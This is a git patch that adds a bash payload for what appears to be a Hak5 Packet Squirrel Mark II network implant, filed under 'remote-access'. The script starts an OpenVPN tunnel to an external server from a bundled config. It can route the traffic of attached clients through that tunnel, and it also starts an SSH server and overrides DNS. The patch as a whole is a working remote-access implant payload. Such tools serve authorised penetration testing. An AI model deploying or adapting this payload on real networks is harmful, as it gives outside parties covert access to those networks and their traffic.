From 296e33fcc23a9909eae1f15549759e534a10e6e4 Mon Sep 17 00:00:00 2001 From: rf-bandit <111388888+rf-bandit@users.noreply.github.com> Date: Mon, 10 Feb 2025 18:02:59 -0700 Subject: [PATCH] Create payload.sh fixed --- .../remote-access/openvpn-Mkii/payload.sh | 56 +++++++++++++++++++ 1 file changed, 56 insertions(+) create mode 100644 payloads/remote-access/openvpn-Mkii/payload.sh diff --git a/payloads/remote-access/openvpn-Mkii/payload.sh b/payloads/remote-access/openvpn-Mkii/payload.sh new file mode 100644 index 0000000..ff05a30 --- /dev/null +++ b/payloads/remote-access/openvpn-Mkii/payload.sh @@ -0,0 +1,56 @@ +#!/bin/bash +# +# This payload is modified from a payload for the original Packet Squirrel to work on +# the Packet Squirrel Mark II. +# More info here: https://www.youtube.com/watch?v=OlKztGlt8VA +# +# Title: OpenVPN-Mkii +# Description: Create a connection to a VPN-connection to an OpenVPN-server. Optionally: Send traffic from the clients through said tunnel. +# Author: Hak5, rf_bandit +# Version: 1.1 +# Category: remote-access +# Target: Any +# Net Mode: BRIDGE, NAT + +# Set to 1 to allow clients to use the VPN +FOR_CLIENTS=0 +# + +DNS_SERVER="8.8.8.8" + +# Cheap hack to set the DNS server +function setdns() { + while true + do + [[ ! $(grep -q "$DNS_SERVER" /tmp/resolv.conf) ]] && { + echo -e "search lan\nnameserver $DNS_SERVER" > /tmp/resolv.conf + } + sleep 5 + done +} + +function start() { + LED SETUP + DIR=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd) + if [ $FOR_CLIENTS = 1 ]; then /usr/bin/NETMODE NAT && /usr/bin/LED G SINGLE; else /usr/bin/NETMODE BRIDGE && /usr/bin/LED Y SINGLE; fi + + + sleep 3 + + # Make OpenVPN use the local configuration + uci set openvpn.vpn.config="${DIR}/config.ovpn" + uci commit + + # Start the OpenVPN server in the background + /etc/init.d/openvpn start + + # Start SSH Server + SSH_START + # Set DNS server + setdns & + + #LED ATTACK +} + +# Start the payload +start &